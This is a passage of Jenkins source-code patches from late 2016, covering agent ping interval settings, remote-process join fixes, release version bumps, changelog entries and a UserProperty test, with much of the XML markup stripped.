7b20746edd..00eb5100f5 100644 --- a/pom.xml +++ b/pom.xml @@ -91,6 +91,7 @@ THE SOFTWARE. https://api.github.com jenkins-jira + 11.0.1 1.7.7 2.14 1.4.1 @@ -186,7 +187,12 @@ THE SOFTWARE. com.google.guava guava - 11.0.1 + ${guavaVersion} + + + com.google.guava + guava-testlib + ${guavaVersion} -- GitLab From 6dea3c3f70968d18482e2f650be8fd597b4d1ce1 Mon Sep 17 00:00:00 2001 From: Alvaro Lobato Date: Tue, 29 Nov 2016 11:15:16 +0100 Subject: [PATCH 547/811] [JENKINS-28245] - Finish deadmoose's work to allow defining agent ping interval and ping timeout in seconds --- .../java/hudson/slaves/ChannelPinger.java | 96 +++++++++++-------- .../java/hudson/slaves/ChannelPingerTest.java | 19 ++-- 2 files changed, 63 insertions(+), 52 deletions(-) diff --git a/core/src/main/java/hudson/slaves/ChannelPinger.java b/core/src/main/java/hudson/slaves/ChannelPinger.java index 88de99270c..0d4dae702c 100644 --- a/core/src/main/java/hudson/slaves/ChannelPinger.java +++ b/core/src/main/java/hudson/slaves/ChannelPinger.java @@ -35,7 +35,6 @@ import jenkins.security.MasterToSlaveCallable; import jenkins.slaves.PingFailureAnalyzer; import java.io.IOException; -import java.util.Arrays; import java.util.concurrent.atomic.AtomicBoolean; import java.util.logging.Level; import java.util.logging.Logger; @@ -49,43 +48,39 @@ import java.util.logging.Logger; */ @Extension public class ChannelPinger extends ComputerListener { + static final int PING_TIMEOUT_SECONDS_DEFAULT = 4 * 60; + static final int PING_INTERVAL_SECONDS_DEFAULT = 5 * 60; + private static final Logger LOGGER = Logger.getLogger(ChannelPinger.class.getName()); private static final String TIMEOUT_SECONDS_PROPERTY = ChannelPinger.class.getName() + ".pingTimeoutSeconds"; - private static final String INTERVAL_MINUTES_PROPERTY = ChannelPinger.class.getName() + ".pingInterval"; + private static final String INTERVAL_MINUTES_PROPERTY_DEPRECATED = ChannelPinger.class.getName() + ".pingInterval"; private static final String INTERVAL_SECONDS_PROPERTY = ChannelPinger.class.getName() + ".pingIntervalSeconds"; /** * Timeout for the ping in seconds. */ - private final int pingTimeoutSeconds; + private int pingTimeoutSeconds = SystemProperties.getInteger(TIMEOUT_SECONDS_PROPERTY, PING_TIMEOUT_SECONDS_DEFAULT, Level.WARNING); /** * Interval for the ping in seconds. */ - private final int pingIntervalSeconds; + private int pingIntervalSeconds = PING_INTERVAL_SECONDS_DEFAULT; public ChannelPinger() { - pingTimeoutSeconds = Integer.getInteger(TIMEOUT_SECONDS_PROPERTY, 4 * 60); - - // A little extra hoop-jumping to migrate from the old system property - Integer intervalSeconds = Integer.getInteger(INTERVAL_SECONDS_PROPERTY); - Integer intervalMinutes = Integer.getInteger(INTERVAL_MINUTES_PROPERTY); - if (intervalMinutes != null) { - LOGGER.warning("Property '" + INTERVAL_MINUTES_PROPERTY + "' is deprecated. Please migrate to '" + INTERVAL_SECONDS_PROPERTY + "'"); - - if (intervalSeconds != null) { - LOGGER.log(Level.WARNING, "Ignoring {0}={1} because {2}={3}", - new Object[] { INTERVAL_MINUTES_PROPERTY, intervalMinutes, INTERVAL_SECONDS_PROPERTY, intervalSeconds }); - } else { - intervalSeconds = intervalMinutes * 60; + + Integer interval = SystemProperties.getInteger(INTERVAL_SECONDS_PROPERTY, null, Level.WARNING); + + // if interval wasn't set we read the deprecated property in minutes + if (interval == null) { + interval = SystemProperties.getInteger(INTERVAL_MINUTES_PROPERTY_DEPRECATED,null, Level.WARNING); + if (interval != null) { + LOGGER.warning(INTERVAL_MINUTES_PROPERTY_DEPRECATED + " property is deprecated, " + INTERVAL_SECONDS_PROPERTY + " should be used"); + interval *= 60; //to seconds } } - - pingIntervalSeconds = intervalSeconds == null ? 5 * 60 : intervalSeconds; - - if (pingIntervalSeconds < pingTimeoutSeconds) { - LOGGER.log(Level.WARNING, "Ping interval ({0}) is less than ping timeout ({1})", - new Object[] { pingIntervalSeconds, pingTimeoutSeconds }); + + if (interval != null) { + pingIntervalSeconds = interval; } } @@ -96,7 +91,7 @@ public class ChannelPinger extends ComputerListener { public void install(Channel channel) { if (pingTimeoutSeconds < 1 || pingIntervalSeconds < 1) { - LOGGER.fine("Agent ping is disabled"); + LOGGER.warning("Agent ping is disabled"); return; } @@ -113,6 +108,9 @@ public class ChannelPinger extends ComputerListener { } static class SetUpRemotePing extends MasterToSlaveCallable { + private static final long serialVersionUID = -2702219700841759872L; + @Deprecated + private transient int pingInterval; private final int pingTimeoutSeconds; private final int pingIntervalSeconds; @@ -128,34 +126,48 @@ public class ChannelPinger extends ComputerListener { } @Override - public boolean equals(Object o) { - if (this == o) { + public int hashCode() { + final int prime = 31; + int result = 1; + result = prime * result + pingIntervalSeconds; + result = prime * result + pingTimeoutSeconds; + return result; + } + + @Override + public boolean equals(Object obj) { + if (this == obj) { return true; } - if (o == null || getClass() != o.getClass()) { + if (obj == null) { return false; } - - SetUpRemotePing that = (SetUpRemotePing) o; - return this.pingTimeoutSeconds == that.pingTimeoutSeconds - && this.pingIntervalSeconds == that.pingIntervalSeconds; - } - - @Override - public int hashCode() { - // TODO(deadmoose): switch to Objects.hash once Java 7's fully available - return Arrays.hashCode(new Object[] { pingTimeoutSeconds, pingIntervalSeconds }); + if (getClass() != obj.getClass()) { + return false; + } + SetUpRemotePing other = (SetUpRemotePing) obj; + if (pingIntervalSeconds != other.pingIntervalSeconds) { + return false; + } + if (pingTimeoutSeconds != other.pingTimeoutSeconds) { + return false; + } + return true; } - @Override - public String toString() { - return "SetUpRemotePing(" + pingTimeoutSeconds + "," + pingIntervalSeconds + ")"; + protected Object readResolve() { + if (pingInterval != 0) { + return new SetUpRemotePing(PING_TIMEOUT_SECONDS_DEFAULT, pingInterval * 60); + } + return this; } } static void setUpPingForChannel(final Channel channel, int timeoutSeconds, int intervalSeconds, final boolean analysis) { + LOGGER.log(Level.FINE, "setting up ping on {0} with a {1} seconds interval and {2} seconds timeout", new Object[] {channel.getName(), intervalSeconds, timeoutSeconds}); final AtomicBoolean isInClosed = new AtomicBoolean(false); final PingThread t = new PingThread(channel, timeoutSeconds * 1000L, intervalSeconds * 1000L) { + @Override protected void onDead(Throwable cause) { try { if (analysis) { @@ -194,7 +206,7 @@ public class ChannelPinger extends ComputerListener { }); t.start(); - LOGGER.log(Level.FINE, "Ping thread started for {0} with a {1} second interval and a {2} second timeout.", - new Object[] { channel, intervalSeconds, timeoutSeconds }); + LOGGER.log(Level.FINE, "Ping thread started for {0} with a {1} seconds interval and a {2} seconds timeout", + new Object[] { channel, intervalSeconds, timeoutSeconds }); } } diff --git a/core/src/test/java/hudson/slaves/ChannelPingerTest.java b/core/src/test/java/hudson/slaves/ChannelPingerTest.java index 9018ea55ee..e3e67a1b26 100644 --- a/core/src/test/java/hudson/slaves/ChannelPingerTest.java +++ b/core/src/test/java/hudson/slaves/ChannelPingerTest.java @@ -2,9 +2,7 @@ package hudson.slaves; import static org.mockito.Matchers.eq; import static org.mockito.Mockito.verify; -import static org.mockito.Mockito.when; import static org.powermock.api.mockito.PowerMockito.mockStatic; -import static org.powermock.api.mockito.PowerMockito.verifyNoMoreInteractions; import static org.powermock.api.mockito.PowerMockito.verifyStatic; import com.google.common.testing.EqualsTester; @@ -14,7 +12,6 @@ import org.junit.Test; import org.junit.runner.RunWith; import org.mockito.Mock; import org.mockito.MockitoAnnotations; -import org.powermock.api.mockito.PowerMockito; import org.powermock.core.classloader.annotations.PrepareForTest; import org.powermock.modules.junit4.PowerMockRunner; import hudson.remoting.Channel; @@ -64,9 +61,11 @@ public class ChannelPingerTest { ChannelPinger channelPinger = new ChannelPinger(); channelPinger.install(mockChannel); - verify(mockChannel).call(eq(new ChannelPinger.SetUpRemotePing(240, 300))); + verify(mockChannel).call(eq(new ChannelPinger.SetUpRemotePing(ChannelPinger.PING_TIMEOUT_SECONDS_DEFAULT, + ChannelPinger.PING_INTERVAL_SECONDS_DEFAULT))); verifyStatic(); - ChannelPinger.setUpPingForChannel(mockChannel, 240, 300); + ChannelPinger.setUpPingForChannel(mockChannel, ChannelPinger.PING_TIMEOUT_SECONDS_DEFAULT, + ChannelPinger.PING_INTERVAL_SECONDS_DEFAULT, true); } @Test @@ -79,7 +78,7 @@ public class ChannelPingerTest { verify(mockChannel).call(new ChannelPinger.SetUpRemotePing(42, 73)); verifyStatic(); - ChannelPinger.setUpPingForChannel(mockChannel, 42, 73); + ChannelPinger.setUpPingForChannel(mockChannel, 42, 73, true); } @Test @@ -89,9 +88,9 @@ public class ChannelPingerTest { ChannelPinger channelPinger = new ChannelPinger(); channelPinger.install(mockChannel); - verify(mockChannel).call(eq(new ChannelPinger.SetUpRemotePing(240, 420))); + verify(mockChannel).call(eq(new ChannelPinger.SetUpRemotePing(ChannelPinger.PING_TIMEOUT_SECONDS_DEFAULT, 420))); verifyStatic(); - ChannelPinger.setUpPingForChannel(mockChannel, 240, 420); + ChannelPinger.setUpPingForChannel(mockChannel, ChannelPinger.PING_TIMEOUT_SECONDS_DEFAULT, 420, true); } @Test @@ -102,9 +101,9 @@ public class ChannelPingerTest { ChannelPinger channelPinger = new ChannelPinger(); channelPinger.install(mockChannel); - verify(mockChannel).call(eq(new ChannelPinger.SetUpRemotePing(240, 73))); + verify(mockChannel).call(eq(new ChannelPinger.SetUpRemotePing(ChannelPinger.PING_TIMEOUT_SECONDS_DEFAULT, 73))); verifyStatic(); - ChannelPinger.setUpPingForChannel(mockChannel, 240, 73); + ChannelPinger.setUpPingForChannel(mockChannel, ChannelPinger.PING_TIMEOUT_SECONDS_DEFAULT, 73, true); } @Test -- GitLab From 9ecc77b9badd65d9eabd34d2baad1742d5566894 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 29 Nov 2016 10:06:42 -0500 Subject: [PATCH 548/811] [JENKINS-38867] Since tag for #2582. --- core/src/main/java/jenkins/model/TransientActionFactory.java | 1 + 1 file changed, 1 insertion(+) diff --git a/core/src/main/java/jenkins/model/TransientActionFactory.java b/core/src/main/java/jenkins/model/TransientActionFactory.java index b17900d264..b3d0579abc 100644 --- a/core/src/main/java/jenkins/model/TransientActionFactory.java +++ b/core/src/main/java/jenkins/model/TransientActionFactory.java @@ -66,6 +66,7 @@ public abstract class TransientActionFactory implements ExtensionPoint { *

                                    If an API defines a abstract {@link Action} subtype and you are providing a concrete implementation, * you may return the API type here to delay class loading. * @return a bound for the result of {@link #createFor} + * @since 2.34 */ public /* abstract */ Class actionType() { return Action.class; -- GitLab From b6eb255b2254e1697dc7ba4ea7197c23b006b965 Mon Sep 17 00:00:00 2001 From: Baptiste Mathus Date: Wed, 30 Nov 2016 15:42:22 +0100 Subject: [PATCH 549/811] Clarify hudson.Extension#ordinal documentation I have to read it many times each time I need it. Hopefully it's a bit clearer with this addition. --- core/src/main/java/hudson/Extension.java | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/Extension.java b/core/src/main/java/hudson/Extension.java index 5ad913ef6a..1ca863d2f4 100644 --- a/core/src/main/java/hudson/Extension.java +++ b/core/src/main/java/hudson/Extension.java @@ -74,7 +74,8 @@ public @interface Extension { /** * Used for sorting extensions. * - * Extensions will be sorted in the descending order of the ordinal. + * Extensions will be sorted in the descending order of the ordinal. In other words, + * the extensions with the highest numbers will be chosen first. * This is a rather poor approach to the problem, so its use is generally discouraged. * * @since 1.306 -- GitLab From 29893354a52efac20efcb4e0e91723f3bd889059 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 3 Dec 2016 16:55:35 +0100 Subject: [PATCH 550/811] [JENKINS-23271] - Process statuses of Remote process join() operations directly inside methods (#2653) * [JENKINS-23271] - Process statuses of Remote process join() operations directly inside methods * [JENKINS-23271] - Also prevent the issue when the kill() command is the last call in the usage sequence --- core/src/main/java/hudson/Launcher.java | 51 +++++++++++++++++++------ core/src/main/java/hudson/Proc.java | 32 ++++++++++++++-- 2 files changed, 68 insertions(+), 15 deletions(-) diff --git a/core/src/main/java/hudson/Launcher.java b/core/src/main/java/hudson/Launcher.java index 3f8c24d3a4..4e8d0b58ab 100644 --- a/core/src/main/java/hudson/Launcher.java +++ b/core/src/main/java/hudson/Launcher.java @@ -59,6 +59,7 @@ import java.util.logging.Level; import java.util.logging.Logger; import static org.apache.commons.io.output.NullOutputStream.NULL_OUTPUT_STREAM; +import hudson.Proc.ProcWithJenkins23271Patch; /** * Starts a process. @@ -393,15 +394,27 @@ public abstract class Launcher { // The logging around procHolderForJoin prevents the preliminary object deallocation we saw in JENKINS-23271 final Proc procHolderForJoin = start(); LOGGER.log(Level.FINER, "Started the process {0}", procHolderForJoin); - try { - final int returnCode = procHolderForJoin.join(); - if (LOGGER.isLoggable(Level.FINER)) { - LOGGER.log(Level.FINER, "Process {0} has finished with the return code {1}", new Object[]{procHolderForJoin, returnCode}); + + if (procHolderForJoin instanceof ProcWithJenkins23271Patch) { + return procHolderForJoin.join(); + } else { + // Fallback to the internal handling logic + if (!(procHolderForJoin instanceof LocalProc)) { + // We consider that the process may be at risk of JENKINS-23271 + LOGGER.log(Level.FINE, "Process {0} of type {1} is neither {2} nor instance of {3}. " + + "If this process operates with Jenkins agents via remote invocation, you may get into JENKINS-23271", + new Object[] {procHolderForJoin, procHolderForJoin.getClass(), LocalProc.class, ProcWithJenkins23271Patch.class}); } - return returnCode; - } finally { - if (procHolderForJoin.isAlive()) { // Should never happen but this forces Proc to not be removed and early GC by escape analysis - LOGGER.log(Level.WARNING, "Process not finished after call to join() completed"); + try { + final int returnCode = procHolderForJoin.join(); + if (LOGGER.isLoggable(Level.FINER)) { + LOGGER.log(Level.FINER, "Process {0} has finished with the return code {1}", new Object[]{procHolderForJoin, returnCode}); + } + return returnCode; + } finally { + if (procHolderForJoin.isAlive()) { // Should never happen but this forces Proc to not be removed and early GC by escape analysis + LOGGER.log(Level.WARNING, "Process {0} has not finished after the join() method completion", procHolderForJoin); + } } } } @@ -990,7 +1003,7 @@ public abstract class Launcher { private static final long serialVersionUID = 1L; } - public static final class ProcImpl extends Proc { + public static final class ProcImpl extends Proc implements ProcWithJenkins23271Patch { private final RemoteProcess process; private final IOTriplet io; @@ -1001,12 +1014,28 @@ public abstract class Launcher { @Override public void kill() throws IOException, InterruptedException { - process.kill(); + try { + process.kill(); + } finally { + if (this.isAlive()) { // Should never happen but this forces Proc to not be removed and early GC by escape analysis + LOGGER.log(Level.WARNING, "Process {0} has not really finished after the kill() method execution", this); + } + } } @Override public int join() throws IOException, InterruptedException { - return process.join(); + try { + final int returnCode = process.join(); + if (LOGGER.isLoggable(Level.FINER)) { + LOGGER.log(Level.FINER, "Process {0} has finished with the return code {1}", new Object[]{this, returnCode}); + } + return returnCode; + } finally { + if (this.isAlive()) { // Should never happen but this forces Proc to not be removed and early GC by escape analysis + LOGGER.log(Level.WARNING, "Process {0} has not really finished after the join() method completion", this); + } + } } @Override diff --git a/core/src/main/java/hudson/Proc.java b/core/src/main/java/hudson/Proc.java index a2d1729827..abe104462a 100644 --- a/core/src/main/java/hudson/Proc.java +++ b/core/src/main/java/hudson/Proc.java @@ -49,6 +49,8 @@ import java.util.concurrent.Future; import java.util.concurrent.TimeUnit; import java.util.logging.Level; import java.util.logging.Logger; +import org.kohsuke.accmod.Restricted; +import org.kohsuke.accmod.restrictions.NoExternalUse; /** * External process wrapper. @@ -431,7 +433,7 @@ public abstract class Proc { * @deprecated as of 1.399. Replaced by {@link Launcher.RemoteLauncher.ProcImpl} */ @Deprecated - public static final class RemoteProc extends Proc { + public static final class RemoteProc extends Proc implements ProcWithJenkins23271Patch { private final Future process; public RemoteProc(Future process) { @@ -440,7 +442,14 @@ public abstract class Proc { @Override public void kill() throws IOException, InterruptedException { - process.cancel(true); + try { + process.cancel(true); + } finally { + if (this.isAlive()) { // Should never happen but this forces Proc to not be removed and early GC by escape analysis + // TODO: Report exceptions if they happen? + LOGGER.log(Level.WARNING, "Process {0} has not really finished after the kill() method execution", this); + } + } } @Override @@ -448,8 +457,8 @@ public abstract class Proc { try { return process.get(); } catch (InterruptedException e) { - // aborting. kill the process - process.cancel(true); + LOGGER.log(Level.FINE, String.format("Join operation has been interrupted for the process %s. Killing the process", this), e); + kill(); throw e; } catch (ExecutionException e) { if(e.getCause() instanceof IOException) @@ -457,6 +466,10 @@ public abstract class Proc { throw new IOException("Failed to join the process",e); } catch (CancellationException x) { return -1; + } finally { + if (this.isAlive()) { // Should never happen but this forces Proc to not be removed and early GC by escape analysis + LOGGER.log(Level.WARNING, "Process {0} has not really finished after the join() method completion", this); + } } } @@ -486,4 +499,15 @@ public abstract class Proc { * Debug switch to have the thread display the process it's waiting for. */ public static boolean SHOW_PID = false; + + /** + * An instance of {@link Proc}, which has an internal workaround for JENKINS-23271. + * It presumes that the instance of the object is guaranteed to be used after the {@link Proc#join()} call. + * See JENKINS-23271> + * @author Oleg Nenashev + */ + @Restricted(NoExternalUse.class) + public interface ProcWithJenkins23271Patch { + // Empty marker interface + } } -- GitLab From 37df0e3a46b9d0d06883f3dbec74c7367010d177 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 4 Dec 2016 12:36:17 -0800 Subject: [PATCH 551/811] [maven-release-plugin] prepare release jenkins-2.35 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index d4385dc575..a41be0c7ba 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.35-SNAPSHOT + 2.35 cli diff --git a/core/pom.xml b/core/pom.xml index 54c75ac4de..aae8c8b60f 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.35-SNAPSHOT + 2.35 jenkins-core diff --git a/pom.xml b/pom.xml index 7b20746edd..3107be1a4c 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.35-SNAPSHOT + 2.35 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.35 diff --git a/test/pom.xml b/test/pom.xml index b9987846c4..b77d442954 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.35-SNAPSHOT + 2.35 test diff --git a/war/pom.xml b/war/pom.xml index 664e9d90ad..e041dfb93c 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.35-SNAPSHOT + 2.35 jenkins-war -- GitLab From f106e249b6ef7a1212cef3ef8ef7a0c0effeb02a Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 4 Dec 2016 12:36:17 -0800 Subject: [PATCH 552/811] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index a41be0c7ba..5b6b23edac 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.35 + 2.36-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index aae8c8b60f..44bff174fd 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.35 + 2.36-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 3107be1a4c..478d13b3be 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.35 + 2.36-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.35 + HEAD diff --git a/test/pom.xml b/test/pom.xml index b77d442954..35fd1a3f3d 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.35 + 2.36-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index e041dfb93c..bafa05038f 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.35 + 2.36-SNAPSHOT jenkins-war -- GitLab From 264f1393b391b7a3993a56069a53b3458f2f05e8 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 4 Dec 2016 12:44:03 -0800 Subject: [PATCH 553/811] updated changelog for release --- changelog.html | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/changelog.html b/changelog.html index 69ac6b0a9e..0b5788ecaf 100644 --- a/changelog.html +++ b/changelog.html @@ -59,6 +59,10 @@ Upcoming changes

                                  +

                                  What's new in 2.35 (2016/12/04)

                                  +
                                    +
                                  • +

                                  What's new in 2.34 (2016/11/27)

                                  • -- GitLab From 43519b1d5e234acdc0c85d3e551158bc0a9e791a Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Mon, 5 Dec 2016 16:56:55 +0100 Subject: [PATCH 554/811] Noting #2644 #2646 #2653 --- changelog.html | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 0b5788ecaf..a10588ac54 100644 --- a/changelog.html +++ b/changelog.html @@ -61,7 +61,15 @@ Upcoming changes

                                    What's new in 2.35 (2016/12/04)

                                      -
                                    • +
                                    • + Add display name and full display name of items to the remote API. + (issue 39972) +
                                    • + API: Allow specifying log level in SystemProperties when a System property is undefined. + (pull 2646) +
                                    • + Followup fix for JENKINS-23271 in 2.34 addressing plugin implementations not using ProcStarter. + (pull 2653)

                                    What's new in 2.34 (2016/11/27)

                                      -- GitLab From e66bfbafa99fc092c6f9fe51f8bf5be267340557 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sun, 27 Nov 2016 07:41:36 +0100 Subject: [PATCH 555/811] Update winp to 1.24. In particular, it addresses issues like [JENKINS-20913](https://issues.jenkins-ci.org/browse/JENKINS-20913) (#2619) ### Changes to be picked ### 1.24 Release date: Nov 2, 2016 * [Issue #22](https://github.com/kohsuke/winp/issues/22) - Winp sometimes kills random processes when using killRecursive. ([PR #23](https://github.com/kohsuke/winp/pull/23)) * [WINP-10](https://java.net/jira/browse/WINP-10) - Fix for `getCmdLineAndEnvVars()` which fails on x64 versions of Windows. ([PR #20](https://github.com/kohsuke/winp/pull/20)) * [Issue #24](https://github.com/kohsuke/winp/issues/24) - Wrong folder when using the `winp.folder.preferred` system property (parent instead of the actual folder). ([PR #25](https://github.com/kohsuke/winp/pull/25)) * [Issue #26](https://github.com/kohsuke/winp/issues/26), [JENKINS-20913](https://issues.jenkins-ci.org/browse/JENKINS-20913) - Native class now tries loading DLLs via the temp location. ([PR #27](https://github.com/kohsuke/winp/pull/27)) ### 1.23 Release date: Fev 16, 2015 * Migrate native components to Visual Studio Community 2013. ([PR #14](https://github.com/kohsuke/winp/pull/14)) * Provide a `winp.unpack.dll.to.parent.dir` property, which disables DLL unpacking to the parent dir. ([PR #14](https://github.com/kohsuke/winp/pull/12)) (cherry picked from commit 63c2f6c5d7d154a3a0f58c54f04f9b1a25ea5385) --- core/pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/pom.xml b/core/pom.xml index 52d7905470..d2a566e883 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -496,7 +496,7 @@ THE SOFTWARE. org.jvnet.winp winp - 1.22 + 1.24 org.jenkins-ci -- GitLab From dacbe03e0d4ef3b3468413a6985b42e39c0fc9fc Mon Sep 17 00:00:00 2001 From: Alvaro Lobato Date: Tue, 15 Nov 2016 15:50:02 +0100 Subject: [PATCH 556/811] [JENKINS-39741] - Redirect to login page after authorisation error when checking connectivity to update center and handle any other error. (cherry picked from commit 5df61d42d01c2857264748cc6c871491ac3ae79c) --- war/src/main/js/util/jenkins.js | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/war/src/main/js/util/jenkins.js b/war/src/main/js/util/jenkins.js index 6b31f42681..43c031fe33 100644 --- a/war/src/main/js/util/jenkins.js +++ b/war/src/main/js/util/jenkins.js @@ -244,7 +244,14 @@ exports.testConnectivity = function(siteId, handler) { handler(true); } } - }); + }, { error: function(xhr, textStatus, errorThrown) { + if (xhr.status === 403) { + exports.goTo('/login'); + } else { + handler.call({ isError: true, errorMessage: errorThrown }); + } + } + }); }; testConnectivity(); }; -- GitLab From eac59f3b5ed844ffb3ad31fc72bc04f5b75a92f6 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Tue, 6 Dec 2016 17:17:42 +0100 Subject: [PATCH 557/811] Annotate localizer generated Messages classes with NoExternalUse Also update to localizer 1.24 which adds support for this. --- cli/pom.xml | 8 +++++++- core/pom.xml | 3 ++- pom.xml | 2 +- 3 files changed, 10 insertions(+), 3 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 70f83cbbec..3436f10f57 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -24,6 +24,11 @@ powermock-api-mockito test + + org.kohsuke + access-modifier-annotation + 1.7 + commons-codec commons-codec @@ -42,7 +47,7 @@ org.jvnet.localizer localizer - 1.23 + 1.24 org.jenkins-ci @@ -88,6 +93,7 @@ Messages.properties target/generated-sources/localizer + true diff --git a/core/pom.xml b/core/pom.xml index 5e0673544c..ac37df2b4f 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -212,7 +212,7 @@ THE SOFTWARE. org.jvnet.localizer localizer - 1.23 + 1.24 antlr @@ -697,6 +697,7 @@ THE SOFTWARE. Messages.properties target/generated-sources/localizer + true diff --git a/pom.xml b/pom.xml index 6086a96fe4..99f26a91aa 100644 --- a/pom.xml +++ b/pom.xml @@ -468,7 +468,7 @@ THE SOFTWARE. org.jvnet.localizer maven-localizer-plugin - 1.23 + 1.24 UTF-8 -- GitLab From 9172bca30fbdfc2478ccb60458dd397ba6b1df55 Mon Sep 17 00:00:00 2001 From: Kanstantsin Shautsou Date: Wed, 7 Dec 2016 01:52:35 +0200 Subject: [PATCH 558/811] [FIX JENKINS-40266] Allow override UserProperty.setUser(User) (#2655) UserProperty may contain nested objects that depend on User. On User reconfiguration setUser(User) is called so it should be non-final to have ability override it and update references in nested objects. Signed-off-by: Kanstantsin Shautsou --- .../main/java/hudson/model/UserProperty.java | 2 +- .../java/hudson/model/UserPropertyTest.java | 164 +++++++++++++++++- .../SetUserUserProperty/config.jelly | 2 + .../nestedUserReference/config.xml | 3 + .../users/nestedUserReference/config.xml | 9 + 5 files changed, 177 insertions(+), 3 deletions(-) create mode 100644 test/src/test/resources/hudson/model/UserPropertyTest/SetUserUserProperty/config.jelly create mode 100644 test/src/test/resources/hudson/model/UserPropertyTest/nestedUserReference/config.xml create mode 100644 test/src/test/resources/hudson/model/UserPropertyTest/nestedUserReference/users/nestedUserReference/config.xml diff --git a/core/src/main/java/hudson/model/UserProperty.java b/core/src/main/java/hudson/model/UserProperty.java index 0f0958d95c..48198a28eb 100644 --- a/core/src/main/java/hudson/model/UserProperty.java +++ b/core/src/main/java/hudson/model/UserProperty.java @@ -58,7 +58,7 @@ public abstract class UserProperty implements ReconfigurableDescribable fileLines = FileUtils.readLines(testFile); + assertThat(fileLines, hasSize(1)); + + j.configRoundtrip(user); + + user = User.get("nestedUserReference", false, Collections.emptyMap()); + assertThat("nested reference should exist after user configuration change", user, nestedUserSet()); + + testFile = new File(j.getInstance().getRootDir() + "/users/nesteduserreference/" + TEST_FILE); + fileLines = FileUtils.readLines(testFile); + assertThat(fileLines, hasSize(1)); + } + + public static Matcher nestedUserSet() { + return new BaseMatcher() { + @Override + public boolean matches(Object item) { + User user = (User) item; + assertThat(user, notNullValue()); + final SetUserUserProperty prop = user.getProperty(SetUserUserProperty.class); + assertThat(prop, notNullValue()); + assertThat(prop.getOwner(), notNullValue()); + assertThat(prop.getOwner(), is(user)); + + final InnerUserClass innerUserClass = prop.getInnerUserClass(); + assertThat(innerUserClass, notNullValue()); + final User innerUser = innerUserClass.getUser(); + assertThat(innerUser, notNullValue()); + assertThat(innerUser, is(user)); + return true; + } + + @Override + public void describeTo(Description description) { + description.appendText("User object should contain initialised inner fields"); + } + }; + } + + /** + * User property that need update User object reference for InnerUserClass. + */ + public static class SetUserUserProperty extends UserProperty { + private InnerUserClass innerUserClass = new InnerUserClass(); + + @DataBoundConstructor + public SetUserUserProperty() { + } + + public InnerUserClass getInnerUserClass() { + return innerUserClass; + } + + public User getOwner() { + return user; + } + + @Override + protected void setUser(User u) { + super.setUser(u); + innerUserClass.setUser(u); + } + + public Object readResolve() { + if (innerUserClass == null) { + innerUserClass = new InnerUserClass(); + } + return this; + } + + @TestExtension + public static class DescriptorImpl extends UserPropertyDescriptor { + @Override + public UserProperty newInstance(User user) { + if (user.getId().equals("nesteduserreference")) { + return new SetUserUserProperty(); + } + return null; + } + } + } + + /** + * Class that should get setUser(User) object reference update. + */ + public static class InnerUserClass extends AbstractDescribableImpl { + public static final String TEST_FILE = "test.txt"; + private transient User user; + + @DataBoundConstructor + public InnerUserClass() { + } + + public User getUser() { + return user; + } + + /** + * Should be initialised separately. + */ + public void setUser(User user) { + this.user = user; 